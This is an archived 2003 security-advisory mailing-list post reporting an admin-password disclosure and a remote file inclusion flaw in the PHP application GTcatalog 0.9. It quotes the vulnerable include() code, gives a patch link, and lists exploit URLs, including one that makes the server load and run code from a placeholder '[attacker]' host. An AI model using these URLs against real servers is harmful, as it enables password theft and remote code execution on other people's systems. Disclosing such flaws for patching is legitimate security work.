[VulnWatch] GTcatalog (PHP)
From: Frog Man (leseulfrog@hotmail.com)
Date: 03/03/03
- Previous message: info@elcomsoft.com: "[VulnWatch] Implementation flaws in Adobe Document Server for Reader Extensions"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: "Frog Man" <leseulfrog@hotmail.com> To: bugtraq@securityfocus.com Date: Mon, 03 Mar 2003 15:52:29 +0100
Informations :
같같같같같같같
Version : 0.9
Website : http://www.geektweaked.com
Problem :
- Informations Disclosure (Admin Password)
- File Including
PHP Code/Location :
같같같같같같같같같�
password.inc :
<?
$globalpw = "[PASSWORD]";
?>
index.php :
------------------------------------------------------------------------
[...]
switch ($function)
{
case "custom":
$cc = new Template();
$cc->set_file("head",$dir_base.$dir_template."header.inc");
$cc->set_var(array( 'clientcode' => $cfg_clientcode,
'title' => $cfg_title." - ".$custom));
$cc->parse("output","head");
$cc->p("output");
include($custom.".custom.inc");
include ($dir_base.$dir_template."footer.inc");
break;
[...]
------------------------------------------------------------------------
Exploits :
같같같같같
- http://[target]/password.inc
- http://[target]/index.php?function=custom&custom=http://[attacker]/1
with :
http://[attacker]/1.custom.inc
Patch :
같같같�
A patch can be found on http://www.phpsecure.info (-> New Version !! :))
More Details :
같같같같같같같
In French :
http://www.frog-man.org/tutos/GTcatalog.txt
frog-m@n
_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis !
http://messenger.fr.msn.be
- Previous message: info@elcomsoft.com: "[VulnWatch] Implementation flaws in Adobe Document Server for Reader Extensions"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
